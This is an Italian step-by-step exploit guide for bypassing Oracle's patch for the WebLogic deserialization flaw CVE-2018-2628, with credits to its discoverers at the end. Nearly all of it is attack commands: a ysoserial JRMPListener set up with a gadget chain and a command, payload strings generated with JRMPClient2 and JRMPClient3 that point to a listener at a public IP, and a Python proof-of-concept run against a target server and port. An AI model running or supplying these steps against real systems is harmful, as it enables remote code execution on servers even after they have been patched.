
Alcuni codici per bypassare la patch di Oracle WebLogic CVE-2018-2628
Formato del comando:
java -cp ysoserial-<version>-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener <listen port> <gadget class> <command>
Esempio:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe"
Quando vedi l'output *Opening JRMP listener on 22801, annota l'indirizzo IP dell'host su cui è in esecuzione JRMPListener (nell'esempio, è in esecuzione su un host Alibaba Cloud ECS con IP pubblico 47.94.158.125) e la porta specificata.
Sono noti attualmente due metodi (per generare la Payload Object String, è sufficiente scegliere uno dei due metodi seguenti):
Formato del comando per generare la Payload Object String:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient2 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
Esempio:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
Esempio (dati di output binari dell'oggetto Payload generato con JRMPClient2):

Formato del comando per generare la Payload Object String:
java -jar ysoserial-<version>-cve-2018-2628-all.jar JRMPClient3 <JRMPListener IP>:<JRMPListener Port> | xxd -p | tr -d $'\n' && echo
Esempio:
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient3 47.94.158.125:22801 | xxd -p | tr -d $'\n' && echo
Esempio (dati di output binari dell'oggetto Payload generato con JRMPClient3):

Modificare wls-cve-2018-2628-poc.py e sostituire il valore della variabile chiamata payload_str in cima allo script con la stringa hex generata nel passaggio precedente (i valori delle due variabili payload_str incluse in questo script possono essere utilizzati direttamente, corrispondendo rispettivamente alle stringhe hex generate con i due metodi sopra descritti).
Formato del comando:
python wls-cve-2018-2628-poc.py <IP di ascolto dell'istanza WebLogic Server di destinazione> <porta di ascolto dell'istanza WebLogic Server di destinazione>
Esempio:
python wls-cve-2018-2628-poc.py 192.168.64.83 7001
Esempio (avendo installato la Patch Set Update 180417):


xxlegend@nsfocus (uno degli scopritori e contributori della vulnerabilità CVE-2018-2628, ha rivelato le modalità di sfruttamento e i relativi esempi di codice)
badcode@knownsec (ha fornito l'esempio di codice per incapsulare java.rmi.registry.Registry con weblogic.jms.common.StreamMessageImpl)
ysoserial project (raccoglie molti programmi di sfruttamento per la deserializzazione Java)